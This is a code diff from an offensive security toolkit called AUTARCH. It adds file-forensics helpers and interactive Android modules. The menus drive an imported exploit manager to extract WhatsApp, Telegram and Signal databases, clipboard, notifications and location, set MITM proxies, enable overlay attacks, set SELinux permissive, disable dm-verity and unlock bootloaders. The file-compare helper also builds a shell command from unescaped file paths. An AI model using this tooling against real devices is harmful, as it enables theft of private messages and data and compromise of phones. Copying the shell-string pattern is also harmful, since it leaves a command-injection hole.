with open(p, 'r', errors='ignore') as f:
|
||||
lines = f.readlines()
|
||||
except Exception as e:
|
||||
self.print_status(f"Error reading file: {e}", "error")
|
||||
return
|
||||
|
||||
print(f"Total lines: {len(lines)}")
|
||||
|
||||
# Extract IPs
|
||||
all_ips = []
|
||||
for line in lines:
|
||||
ips = re.findall(r'\b(\d+\.\d+\.\d+\.\d+)\b', line)
|
||||
all_ips.extend(ips)
|
||||
|
||||
if all_ips:
|
||||
from collections import Counter
|
||||
ip_counts = Counter(all_ips)
|
||||
print(f"\n{Colors.CYAN}Top IP Addresses:{Colors.RESET}")
|
||||
for ip, count in ip_counts.most_common(10):
|
||||
print(f" {ip:20} {count:>6} occurrences")
|
||||
|
||||
# Look for error patterns
|
||||
errors = [l for l in lines if re.search(r'error|fail|denied|invalid', l, re.I)]
|
||||
if errors:
|
||||
print(f"\n{Colors.YELLOW}Error/Failure entries: {len(errors)}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Recent errors:{Colors.RESET}")
|
||||
for e in errors[-5:]:
|
||||
print(f" {e.strip()[:100]}")
|
||||
|
||||
# Timestamps
|
||||
timestamps = []
|
||||
for line in lines:
|
||||
match = re.search(r'(\w{3}\s+\d+\s+\d+:\d+:\d+)', line)
|
||||
if match:
|
||||
timestamps.append(match.group(1))
|
||||
|
||||
if timestamps:
|
||||
print(f"\n{Colors.CYAN}Time Range:{Colors.RESET}")
|
||||
print(f" First: {timestamps[0]}")
|
||||
print(f" Last: {timestamps[-1]}")
|
||||
|
||||
def hex_dump(self):
|
||||
"""Create hex dump of file."""
|
||||
print(f"\n{Colors.BOLD}Hex Dump{Colors.RESET}")
|
||||
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
|
||||
|
||||
if not filepath:
|
||||
return
|
||||
|
||||
p = Path(filepath).expanduser()
|
||||
if not p.exists():
|
||||
self.print_status(f"File not found", "error")
|
||||
return
|
||||
|
||||
offset = input(f"{Colors.WHITE}Start offset [0]: {Colors.RESET}").strip() or "0"
|
||||
length = input(f"{Colors.WHITE}Length [256]: {Colors.RESET}").strip() or "256"
|
||||
|
||||
try:
|
||||
offset = int(offset, 0) # Support hex input
|
||||
length = int(length, 0)
|
||||
except:
|
||||
self.print_status("Invalid offset/length", "error")
|
||||
return
|
||||
|
||||
print(f"\n{Colors.CYAN}Hex dump of {p.name} (offset={hex(offset)}, length={length}):{Colors.RESET}\n")
|
||||
|
||||
with open(p, 'rb') as f:
|
||||
f.seek(offset)
|
||||
data = f.read(length)
|
||||
|
||||
# Format hex dump
|
||||
for i in range(0, len(data), 16):
|
||||
chunk = data[i:i+16]
|
||||
hex_part = ' '.join(f'{b:02x}' for b in chunk)
|
||||
ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
|
||||
print(f" {offset+i:08x} {hex_part:<48} {ascii_part}")
|
||||
|
||||
def compare_files(self):
|
||||
"""Compare two files."""
|
||||
print(f"\n{Colors.BOLD}File Comparison{Colors.RESET}")
|
||||
|
||||
file1 = input(f"{Colors.WHITE}First file: {Colors.RESET}").strip()
|
||||
file2 = input(f"{Colors.WHITE}Second file: {Colors.RESET}").strip()
|
||||
|
||||
if not file1 or not file2:
|
||||
return
|
||||
|
||||
p1 = Path(file1).expanduser()
|
||||
p2 = Path(file2).expanduser()
|
||||
|
||||
if not p1.exists() or not p2.exists():
|
||||
self.print_status("One or both files not found", "error")
|
||||
return
|
||||
|
||||
print(f"\n{Colors.CYAN}Comparing files...{Colors.RESET}\n")
|
||||
|
||||
# Size comparison
|
||||
s1, s2 = p1.stat().st_size, p2.stat().st_size
|
||||
print(f"File 1 size: {s1:,} bytes")
|
||||
print(f"File 2 size: {s2:,} bytes")
|
||||
print(f"Difference: {abs(s1-s2):,} bytes")
|
||||
|
||||
# Hash comparison
|
||||
h1 = self.get_file_hashes(str(p1))
|
||||
h2 = self.get_file_hashes(str(p2))
|
||||
|
||||
print(f"\n{Colors.CYAN}Hash Comparison:{Colors.RESET}")
|
||||
for algo in ['md5', 'sha256']:
|
||||
match = h1.get(algo) == h2.get(algo)
|
||||
status = f"{Colors.GREEN}MATCH{Colors.RESET}" if match else f"{Colors.RED}DIFFERENT{Colors.RESET}"
|
||||
print(f" {algo.upper()}: {status}")
|
||||
|
||||
if h1.get('sha256') != h2.get('sha256'):
|
||||
# Show diff if text files
|
||||
success, output = self.run_cmd(f"diff '{p1}' '{p2}' 2>/dev/null | head -30")
|
||||
if success and output:
|
||||
print(f"\n{Colors.CYAN}Differences (first 30 lines):{Colors.RESET}")
|
||||
print(output)
|
||||
|
||||
def show_menu(self):
|
||||
clear_screen()
|
||||
display_banner()
|
||||
|
||||
print(f"{Colors.CYAN}{Colors.BOLD} Analysis & Forensics{Colors.RESET}")
|
||||
print(f"{Colors.DIM} File analysis and forensics tools{Colors.RESET}")
|
||||
print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
|
||||
print()
|
||||
print(f" {Colors.CYAN}[1]{Colors.RESET} Analyze File")
|
||||
print(f" {Colors.CYAN}[2]{Colors.RESET} Extract Strings")
|
||||
print(f" {Colors.CYAN}[3]{Colors.RESET} Hash Lookup")
|
||||
print(f" {Colors.CYAN}[4]{Colors.RESET} Analyze Log")
|
||||
print(f" {Colors.CYAN}[5]{Colors.RESET} Hex Dump")
|
||||
print(f" {Colors.CYAN}[6]{Colors.RESET} Compare Files")
|
||||
print()
|
||||
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
|
||||
print()
|
||||
|
||||
def run(self):
|
||||
while True:
|
||||
self.show_menu()
|
||||
try:
|
||||
choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip()
|
||||
|
||||
if choice == "0":
|
||||
break
|
||||
elif choice == "1":
|
||||
self.analyze_file()
|
||||
elif choice == "2":
|
||||
self.extract_strings()
|
||||
elif choice == "3":
|
||||
self.hash_lookup()
|
||||
elif choice == "4":
|
||||
self.analyze_log()
|
||||
elif choice == "5":
|
||||
self.hex_dump()
|
||||
elif choice == "6":
|
||||
self.compare_files()
|
||||
|
||||
if choice in ["1", "2", "3", "4", "5", "6"]:
|
||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
||||
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
|
||||
|
||||
def run():
|
||||
Analyzer().run()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run()
|
||||
@@ -0,0 +1,380 @@
|
||||
"""
|
||||
Android Advanced Exploits - Network, app manipulation, system control, data exfil
|
||||
"""
|
||||
|
||||
DESCRIPTION = "Android advanced exploits (network, apps, system, data extraction)"
|
||||
AUTHOR = "AUTARCH"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "offense"
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
||||
|
||||
|
||||
class AndroidAdvanced:
|
||||
"""Interactive menu for advanced Android exploits."""
|
||||
|
||||
def __init__(self):
|
||||
from core.android_exploit import get_exploit_manager
|
||||
from core.hardware import get_hardware_manager
|
||||
self.mgr = get_exploit_manager()
|
||||
self.hw = get_hardware_manager()
|
||||
self.serial = None
|
||||
|
||||
def _select_device(self):
|
||||
devices = self.hw.adb_devices()
|
||||
if not devices:
|
||||
print(" No ADB devices connected.")
|
||||
return
|
||||
if len(devices) == 1:
|
||||
self.serial = devices[0]['serial']
|
||||
print(f" Selected: {self.serial}")
|
||||
return
|
||||
print("\n Select device:")
|
||||
for i, d in enumerate(devices, 1):
|
||||
print(f" {i}) {d['serial']} {d.get('model','')}")
|
||||
try:
|
||||
choice = int(input(" > ").strip())
|
||||
if 1 <= choice <= len(devices):
|
||||
self.serial = devices[choice - 1]['serial']
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
pass
|
||||
|
||||
def _ensure_device(self):
|
||||
if not self.serial:
|
||||
self._select_device()
|
||||
return self.serial is not None
|
||||
|
||||
def show_menu(self):
|
||||
print(f"\n{'='*60}")
|
||||
print(" Advanced Android Exploits")
|
||||
print(f"{'='*60}")
|
||||
print(f" Device: {self.serial or '(none)'}")
|
||||
print()
|
||||
print(" ── Data Exfiltration ──")
|
||||
print(" [1] Clipboard Content")
|
||||
print(" [2] Notifications")
|
||||
print(" [3] Location Data")
|
||||
print(" [4] List Media Files")
|
||||
print(" [5] Pull Media Folder")
|
||||
print(" [6] WhatsApp DB [ROOT]")
|
||||
print(" [7] Telegram DB [ROOT]")
|
||||
print(" [8] Signal DB [ROOT]")
|
||||
print(" [9] Dump Settings (all)")
|
||||
print(" [10] Device Fingerprint")
|
||||
print(" [11] Dump Any Database [ROOT]")
|
||||
print()
|
||||
print(" ── Network ──")
|
||||
print(" [20] Network Info")
|
||||
print(" [21] Set Proxy (MITM)")
|
||||
print(" [22] Clear Proxy")
|
||||
print(" [23] Set DNS [ROOT]")
|
||||
print(" [24] WiFi Scan")
|
||||
print(" [25] WiFi Connect")
|
||||
print(" [26] WiFi On/Off")
|
||||
print(" [27] Enable Hotspot")
|
||||
print(" [28] Capture Traffic [ROOT]")
|
||||
print(" [29] Port Forward")
|
||||
print(" [30] ADB over WiFi")
|
||||
print()
|
||||
print(" ── App Manipulation ──")
|
||||
print(" [40] Grant Permission")
|
||||
print(" [41] Revoke Permission")
|
||||
print(" [42] List App Permissions")
|
||||
print(" [43] Disable App")
|
||||
print(" [44] Enable App")
|
||||
print(" [45] Clear App Data")
|
||||
print(" [46] Force Stop App")
|
||||
print(" [47] Launch App")
|
||||
print(" [48] Launch Activity")
|
||||
print(" [49] Send Broadcast")
|
||||
print(" [50] Content Query")
|
||||
print(" [51] Enable Overlay")
|
||||
print()
|
||||
print(" ── System ──")
|
||||
print(" [60] SELinux Permissive [ROOT]")
|
||||
print(" [61] Remount /system RW [ROOT]")
|
||||
print(" [62] Logcat Sensitive Data")
|
||||
print(" [63] Deploy Frida Server [ROOT]")
|
||||
print(" [64] Running Processes")
|
||||
print(" [65] Open Ports")
|
||||
print(" [66] Modify Setting")
|
||||
print()
|
||||
print(" [s] Select Device")
|
||||
print(" [0] Back")
|
||||
print()
|
||||
|
||||
def _print_result(self, r):
|
||||
import json
|
||||
if isinstance(r, dict):
|
||||
for k, v in r.items():
|
||||
if isinstance(v, (list, dict)) and len(str(v)) > 200:
|
||||
print(f" {k}: [{len(v)} items]" if isinstance(v, list) else f" {k}: [dict]")
|
||||
else:
|
||||
val = str(v)
|
||||
if len(val) > 120:
|
||||
val = val[:120] + '...'
|
||||
print(f" {k}: {val}")
|
||||
|
||||
def run_interactive(self):
|
||||
while True:
|
||||
self.show_menu()
|
||||
try:
|
||||
choice = input(" Select > ").strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
if choice == '0':
|
||||
break
|
||||
elif choice == 's':
|
||||
self._select_device()
|
||||
continue
|
||||
|
||||
if not self._ensure_device():
|
||||
continue
|
||||
|
||||
try:
|
||||
self._dispatch(choice)
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
continue
|
||||
|
||||
def _dispatch(self, choice):
|
||||
s = self.serial
|
||||
m = self.mgr
|
||||
# Data Exfil
|
||||
if choice == '1':
|
||||
self._print_result(m.extract_clipboard(s))
|
||||
elif choice == '2':
|
||||
r = m.dump_notifications(s)
|
||||
print(f" {r.get('count', 0)} notifications:")
|
||||
for n in r.get('notifications', [])[:20]:
|
||||
print(f" [{n.get('package','')}] {n.get('title','')} - {n.get('text','')}")
|
||||
elif choice == '3':
|
||||
self._print_result(m.extract_location(s))
|
||||
elif choice == '4':
|
||||
t = input(" Type (photos/downloads/screenshots/whatsapp_media): ").strip() or 'photos'
|
||||
r = m.extract_media_list(s, media_type=t)
|
||||
print(f" {r['count']} files in {r['path']}:")
|
||||
for f in r['files'][:30]:
|
||||
print(f" {f}")
|
||||
elif choice == '5':
|
||||
t = input(" Type (photos/downloads/screenshots): ").strip() or 'photos'
|
||||
lim = input(" Limit [50]: ").strip()
|
||||
r = m.pull_media_folder(s, media_type=t, limit=int(lim) if lim else 50)
|
||||
print(f" Pulled {r['count']} files to {r.get('output_dir','')}")
|
||||
elif choice == '6':
|
||||
r = m.extract_whatsapp_db(s)
|
||||
self._print_result(r)
|
||||
elif choice == '7':
|
||||
r = m.extract_telegram_db(s)
|
||||
self._print_result(r)
|
||||
elif choice == '8':
|
||||
r = m.extract_signal_db(s)
|
||||
self._print_result(r)
|
||||
elif choice == '9':
|
||||
r = m.dump_all_settings(s)
|
||||
for ns, entries in r.get('settings', {}).items():
|
||||
print(f"\n [{ns}] ({len(entries)} entries)")
|
||||
for k, v in list(entries.items())[:10]:
|
||||
print(f" {k}={v}")
|
||||
if len(entries) > 10:
|
||||
print(f" ... and {len(entries)-10} more")
|
||||
elif choice == '10':
|
||||
fp = m.get_device_fingerprint(s)
|
||||
print("\n Device Fingerprint:")
|
||||
for k, v in fp.items():
|
||||
print(f" {k:<25} {v}")
|
||||
elif choice == '11':
|
||||
db_path = input(" Database path on device: ").strip()
|
||||
table = input(" Table name (or Enter to list tables): ").strip() or None
|
||||
r = m.dump_database(s, db_path, table=table)
|
||||
if r['success']:
|
||||
print(f" Tables: {', '.join(r['tables'])}")
|
||||
if r['rows']:
|
||||
for row in r['rows'][:10]:
|
||||
print(f" {row}")
|
||||
else:
|
||||
print(f" Error: {r['error']}")
|
||||
# Network
|
||||
elif choice == '20':
|
||||
info = m.get_network_info(s)
|
||||
for k, v in info.items():
|
||||
val = str(v)[:200]
|
||||
print(f" {k}: {val}")
|
||||
elif choice == '21':
|
||||
host = input(" Proxy host: ").strip()
|
||||
port = input(" Proxy port: ").strip()
|
||||
if host and port:
|
||||
r = m.set_proxy(s, host, port)
|
||||
print(f" Proxy set: {r.get('proxy')}")
|
||||
elif choice == '22':
|
||||
m.clear_proxy(s)
|
||||
print(" Proxy cleared.")
|
||||
elif choice == '23':
|
||||
dns1 = input(" DNS1: ").strip()
|
||||
dns2 = input(" DNS2 (optional): ").strip()
|
||||
if dns1:
|
||||
m.set_dns(s, dns1, dns2)
|
||||
print(f" DNS set: {dns1} {dns2}")
|
||||
elif choice == '24':
|
||||
r = m.wifi_scan(s)
|
||||
print(r.get('output', 'No results'))
|
||||
elif choice == '25':
|
||||
ssid = input(" SSID: ").strip()
|
||||
pwd = input(" Password (Enter for open): ").strip()
|
||||
if ssid:
|
||||
r = m.wifi_connect(s, ssid, pwd)
|
||||
print(f" {r.get('output', 'Done')}")
|
||||
elif choice == '26':
|
||||
action = input(" Enable or disable? [e/d]: ").strip().lower()
|
||||
if action == 'd':
|
||||
m.wifi_disconnect(s)
|
||||
print(" WiFi disabled.")
|
||||
else:
|
||||
m.wifi_enable(s)
|
||||
print(" WiFi enabled.")
|
||||
elif choice == '27':
|
||||
ssid = input(" Hotspot SSID [AUTARCH_AP]: ").strip() or 'AUTARCH_AP'
|
||||
pwd = input(" Password [autarch123]: ").strip() or 'autarch123'
|
||||
r = m.enable_hotspot(s, ssid, pwd)
|
||||
print(f" Hotspot: {ssid}")
|
||||
elif choice == '28':
|
||||
iface = input(" Interface [any]: ").strip() or 'any'
|
||||
dur = input(" Duration seconds [30]: ").strip()
|
||||
filt = input(" Filter (optional): ").strip()
|
||||
r = m.capture_traffic(s, iface, int(dur) if dur else 30, filt)
|
||||
if r['success']:
|
||||
print(f" PCAP saved: {r['path']} ({r['size']} bytes)")
|
||||
else:
|
||||
print(f" Error: {r['error']}")
|
||||
elif choice == '29':
|
||||
lp = input(" Local port: ").strip()
|
||||
rp = input(" Remote port: ").strip()
|
||||
if lp and rp:
|
||||
r = m.port_forward(s, lp, rp)
|
||||
print(f" Forward: localhost:{lp} -> device:{rp}")
|
||||
elif choice == '30':
|
||||
port = input(" Port [5555]: ").strip() or '5555'
|
||||
r = m.enable_adb_wifi(s, int(port))
|
||||
print(f" ADB WiFi: {r.get('connect_cmd', '?')}")
|
||||
# App Manipulation
|
||||
elif choice == '40':
|
||||
pkg = input(" Package: ").strip()
|
||||
perm = input(" Permission (e.g. android.permission.CAMERA): ").strip()
|
||||
if pkg and perm:
|
||||
r = m.grant_permission(s, pkg, perm)
|
||||
print(f" {r.get('output', 'Done')}")
|
||||
elif choice == '41':
|
||||
pkg = input(" Package: ").strip()
|
||||
perm = input(" Permission: ").strip()
|
||||
if pkg and perm:
|
||||
r = m.revoke_permission(s, pkg, perm)
|
||||
print(f" {r.get('output', 'Done')}")
|
||||
elif choice == '42':
|
||||
pkg = input(" Package: ").strip()
|
||||
if pkg:
|
||||
r = m.list_permissions(s, pkg)
|
||||
print(f" Granted ({len(r['granted'])}):")
|
||||
for p in r['granted'][:20]:
|
||||
print(f" + {p}")
|
||||
print(f" Denied ({len(r['denied'])}):")
|
||||
for p in r['denied'][:10]:
|
||||
print(f" - {p}")
|
||||
elif choice == '43':
|
||||
pkg = input(" Package to disable: ").strip()
|
||||
if pkg:
|
||||
r = m.disable_app(s, pkg)
|
||||
print(f" {r.get('output', 'Done')}")
|
||||
elif choice == '44':
|
||||
pkg = input(" Package to enable: ").strip()
|
||||
if pkg:
|
||||
r = m.enable_app(s, pkg)
|
||||
print(f" {r.get('output', 'Done')}")
|
||||
elif choice == '45':
|
||||
pkg = input(" Package to clear: ").strip()
|
||||
if pkg:
|
||||
confirm = input(f" Clear ALL data for {pkg}? [y/N]: ").strip().lower()
|
||||
if confirm == 'y':
|
||||
r = m.clear_app_data(s, pkg)
|
||||
print(f" {r.get('output', 'Done')}")
|
||||
elif choice == '46':
|
||||
pkg = input(" Package to force stop: ").strip()
|
||||
if pkg:
|
||||
m.force_stop_app(s, pkg)
|
||||
print(f" Force stopped {pkg}")
|
||||
elif choice == '47':
|
||||
pkg = input(" Package to launch: ").strip()
|
||||
if pkg:
|
||||
m.launch_app(s, pkg)
|
||||
print(f" Launched {pkg}")
|
||||
elif choice == '48':
|
||||
comp = input(" Component (com.pkg/.Activity): ").strip()
|
||||
extras = input(" Extras (optional am flags): ").strip()
|
||||
if comp:
|
||||
r = m.launch_activity(s, comp, extras)
|
||||
print(f" {r.get('output', 'Done')}")
|
||||
elif choice == '49':
|
||||
action = input(" Broadcast action: ").strip()
|
||||
extras = input(" Extras (optional): ").strip()
|
||||
if action:
|
||||
r = m.send_broadcast(s, action, extras)
|
||||
print(f" {r.get('output', 'Done')}")
|
||||
elif choice == '50':
|
||||
uri = input(" Content URI: ").strip()
|
||||
proj = input(" Projection (col1:col2 or Enter): ").strip()
|
||||
where = input(" Where clause (or Enter): ").strip()
|
||||
if uri:
|
||||
r = m.content_query(s, uri, proj, where)
|
||||
print(f" {r['count']} rows:")
|
||||
for row in r['rows'][:20]:
|
||||
print(f" {row}")
|
||||
elif choice == '51':
|
||||
pkg = input(" Package for overlay: ").strip()
|
||||
if pkg:
|
||||
m.overlay_attack_enable(s, pkg)
|
||||
print(f" Overlay enabled for {pkg}")
|
||||
# System
|
||||
elif choice == '60':
|
||||
r = m.set_selinux(s, 'permissive')
|
||||
print(f" SELinux: {r.get('mode', '?')}")
|
||||
elif choice == '61':
|
||||
r = m.remount_system(s)
|
||||
print(f" /system remounted {r.get('mode')}: {r.get('output','')}")
|
||||
elif choice == '62':
|
||||
dur = input(" Scan duration [10]: ").strip()
|
||||
r = m.logcat_sensitive(s, int(dur) if dur else 10)
|
||||
print(f" Found {r['count']} sensitive lines:")
|
||||
for line in r['lines'][:20]:
|
||||
print(f" {line[:120]}")
|
||||
elif choice == '63':
|
||||
path = input(" Frida server binary path: ").strip()
|
||||
if path:
|
||||
r = m.deploy_frida(s, path)
|
||||
if r['success']:
|
||||
print(f" Frida running, PID: {r['pid']}")
|
||||
else:
|
||||
print(f" Error: {r.get('error')}")
|
||||
elif choice == '64':
|
||||
r = m.get_running_processes(s)
|
||||
print(f" {r['count']} processes:")
|
||||
for p in r['processes'][:30]:
|
||||
print(f" {p.get('pid','?'):>6} {p.get('user',''):>12} {p.get('name','')}")
|
||||
elif choice == '65':
|
||||
r = m.get_open_ports(s)
|
||||
print(f" {r['count']} listening ports:")
|
||||
for p in r['ports']:
|
||||
print(f" {p}")
|
||||
elif choice == '66':
|
||||
ns = input(" Namespace (system/secure/global): ").strip()
|
||||
key = input(" Key: ").strip()
|
||||
val = input(" Value: ").strip()
|
||||
if ns and key and val:
|
||||
r = m.modify_setting(s, ns, key, val)
|
||||
print(f" {ns}.{key} = {r.get('value','?')}")
|
||||
else:
|
||||
print(" Invalid choice.")
|
||||
|
||||
|
||||
def run():
|
||||
m = AndroidAdvanced()
|
||||
m.run_interactive()
|
||||
@@ -0,0 +1,165 @@
|
||||
"""
|
||||
Android App Extraction - Pull APKs, app data, shared preferences
|
||||
"""
|
||||
|
||||
DESCRIPTION = "Android app extraction (APK pull, app data, shared prefs)"
|
||||
AUTHOR = "AUTARCH"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "hardware"
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
||||
|
||||
|
||||
class AndroidApps:
|
||||
"""Interactive menu for Android app extraction."""
|
||||
|
||||
def __init__(self):
|
||||
from core.android_exploit import get_exploit_manager
|
||||
from core.hardware import get_hardware_manager
|
||||
self.mgr = get_exploit_manager()
|
||||
self.hw = get_hardware_manager()
|
||||
self.serial = None
|
||||
|
||||
def _select_device(self):
|
||||
devices = self.hw.adb_devices()
|
||||
if not devices:
|
||||
print(" No ADB devices connected.")
|
||||
return
|
||||
if len(devices) == 1:
|
||||
self.serial = devices[0]['serial']
|
||||
print(f" Selected: {self.serial}")
|
||||
return
|
||||
print("\n Select device:")
|
||||
for i, d in enumerate(devices, 1):
|
||||
model = d.get('model', '')
|
||||
print(f" {i}) {d['serial']} {model}")
|
||||
try:
|
||||
choice = int(input(" > ").strip())
|
||||
if 1 <= choice <= len(devices):
|
||||
self.serial = devices[choice - 1]['serial']
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
pass
|
||||
|
||||
def _ensure_device(self):
|
||||
if not self.serial:
|
||||
self._select_device()
|
||||
return self.serial is not None
|
||||
|
||||
def show_menu(self):
|
||||
print(f"\n{'='*50}")
|
||||
print(" App Extraction")
|
||||
print(f"{'='*50}")
|
||||
print(f" Device: {self.serial or '(none)'}")
|
||||
print()
|
||||
print(" [1] List Packages")
|
||||
print(" [2] Pull APK")
|
||||
print(" [3] Pull App Data (root/debuggable)")
|
||||
print(" [4] Extract Shared Prefs")
|
||||
print(" [s] Select Device")
|
||||
print(" [0] Back")
|
||||
print()
|
||||
|
||||
def list_packages(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
inc = input(" Include system apps? [y/N]: ").strip().lower() == 'y'
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
result = self.mgr.list_packages(self.serial, include_system=inc)
|
||||
if 'error' in result:
|
||||
print(f" Error: {result['error']}")
|
||||
return
|
||||
print(f"\n Found {result['count']} packages:")
|
||||
for pkg in result['packages']:
|
||||
flag = ' [SYS]' if pkg['is_system'] else ''
|
||||
print(f" {pkg['package']}{flag}")
|
||||
print(f" {pkg['path']}")
|
||||
|
||||
def pull_apk(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
package = input(" Package name: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not package:
|
||||
return
|
||||
print(f" Pulling APK for {package}...")
|
||||
result = self.mgr.pull_apk(self.serial, package)
|
||||
if result['success']:
|
||||
size_mb = result['size'] / (1024 * 1024)
|
||||
print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)")
|
||||
else:
|
||||
print(f" Error: {result['error']}")
|
||||
|
||||
def pull_app_data(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
package = input(" Package name: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not package:
|
||||
return
|
||||
print(f" Pulling app data for {package}...")
|
||||
result = self.mgr.pull_app_data(self.serial, package)
|
||||
if result['success']:
|
||||
print(f" Output dir: {result['output_dir']}")
|
||||
for f in result['files']:
|
||||
print(f" {f}")
|
||||
else:
|
||||
print(" No data extracted (need debuggable app or root).")
|
||||
|
||||
def extract_prefs(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
package = input(" Package name: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not package:
|
||||
return
|
||||
print(f" Extracting shared prefs for {package}...")
|
||||
result = self.mgr.extract_shared_prefs(self.serial, package)
|
||||
if result['success']:
|
||||
print(f" Found {result['count']} pref files:")
|
||||
for name, content in result['prefs'].items():
|
||||
print(f"\n --- {name} ---")
|
||||
# Show first 20 lines
|
||||
lines = content.split('\n')[:20]
|
||||
for line in lines:
|
||||
print(f" {line}")
|
||||
if len(content.split('\n')) > 20:
|
||||
print(" ...")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def run_interactive(self):
|
||||
while True:
|
||||
self.show_menu()
|
||||
try:
|
||||
choice = input(" Select > ").strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
if choice == '0':
|
||||
break
|
||||
elif choice == '1':
|
||||
self.list_packages()
|
||||
elif choice == '2':
|
||||
self.pull_apk()
|
||||
elif choice == '3':
|
||||
self.pull_app_data()
|
||||
elif choice == '4':
|
||||
self.extract_prefs()
|
||||
elif choice == 's':
|
||||
self._select_device()
|
||||
else:
|
||||
print(" Invalid choice.")
|
||||
|
||||
|
||||
def run():
|
||||
m = AndroidApps()
|
||||
m.run_interactive()
|
||||
@@ -0,0 +1,203 @@
|
||||
"""
|
||||
Android Boot / Recovery Exploit - Bootloader unlock, flash, dm-verity
|
||||
"""
|
||||
|
||||
DESCRIPTION = "Android boot/recovery exploits (flash, unlock, verity bypass)"
|
||||
AUTHOR = "AUTARCH"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "offense"
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
||||
|
||||
|
||||
class AndroidBoot:
|
||||
"""Interactive menu for boot/recovery operations."""
|
||||
|
||||
def __init__(self):
|
||||
from core.android_exploit import get_exploit_manager
|
||||
from core.hardware import get_hardware_manager
|
||||
self.mgr = get_exploit_manager()
|
||||
self.hw = get_hardware_manager()
|
||||
self.serial = None
|
||||
|
||||
def _select_device(self):
|
||||
"""Select from fastboot devices (boot ops need fastboot mostly)."""
|
||||
fb_devices = self.hw.fastboot_devices()
|
||||
adb_devices = self.hw.adb_devices()
|
||||
all_devs = []
|
||||
for d in fb_devices:
|
||||
all_devs.append({'serial': d['serial'], 'mode': 'fastboot'})
|
||||
for d in adb_devices:
|
||||
all_devs.append({'serial': d['serial'], 'mode': 'adb'})
|
||||
if not all_devs:
|
||||
print(" No devices found (ADB or fastboot).")
|
||||
return
|
||||
if len(all_devs) == 1:
|
||||
self.serial = all_devs[0]['serial']
|
||||
print(f" Selected: {self.serial} ({all_devs[0]['mode']})")
|
||||
return
|
||||
print("\n Select device:")
|
||||
for i, d in enumerate(all_devs, 1):
|
||||
print(f" {i}) {d['serial']} [{d['mode']}]")
|
||||
try:
|
||||
choice = int(input(" > ").strip())
|
||||
if 1 <= choice <= len(all_devs):
|
||||
self.serial = all_devs[choice - 1]['serial']
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
pass
|
||||
|
||||
def _ensure_device(self):
|
||||
if not self.serial:
|
||||
self._select_device()
|
||||
return self.serial is not None
|
||||
|
||||
def show_menu(self):
|
||||
print(f"\n{'='*50}")
|
||||
print(" Boot / Recovery Exploit")
|
||||
print(f"{'='*50}")
|
||||
print(" !! WARNING: Can BRICK device / WIPE data !!")
|
||||
print(f" Device: {self.serial or '(none)'}")
|
||||
print()
|
||||
print(" [1] Bootloader Info")
|
||||
print(" [2] Backup Boot Image")
|
||||
print(" [3] Unlock Bootloader [WIPES DATA]")
|
||||
print(" [4] Flash Custom Recovery")
|
||||
print(" [5] Flash Boot Image")
|
||||
print(" [6] Disable dm-verity/AVB")
|
||||
print(" [7] Temp Boot (no flash)")
|
||||
print(" [s] Select Device")
|
||||
print(" [0] Back")
|
||||
print()
|
||||
|
||||
def bootloader_info(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Querying bootloader...")
|
||||
info = self.mgr.get_bootloader_info(self.serial)
|
||||
if not info:
|
||||
print(" No info returned (device might not be in fastboot mode).")
|
||||
return
|
||||
print(f"\n Bootloader Variables:")
|
||||
for k, v in info.items():
|
||||
print(f" {k:<25} {v}")
|
||||
|
||||
def backup_boot(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Backing up boot image (requires root via ADB)...")
|
||||
result = self.mgr.backup_boot_image(self.serial)
|
||||
if result['success']:
|
||||
size_mb = result['size'] / (1024 * 1024)
|
||||
print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def unlock_bootloader(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print("\n !! WARNING: This will WIPE ALL DATA on the device !!")
|
||||
try:
|
||||
confirm = input(" Type 'YES' to proceed: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if confirm != 'YES':
|
||||
print(" Cancelled.")
|
||||
return
|
||||
print(" Unlocking bootloader...")
|
||||
result = self.mgr.unlock_bootloader(self.serial)
|
||||
if result['success']:
|
||||
print(" Bootloader unlocked (or confirmation pending on device).")
|
||||
else:
|
||||
print(f" Result: {result.get('output', 'Unknown')}")
|
||||
|
||||
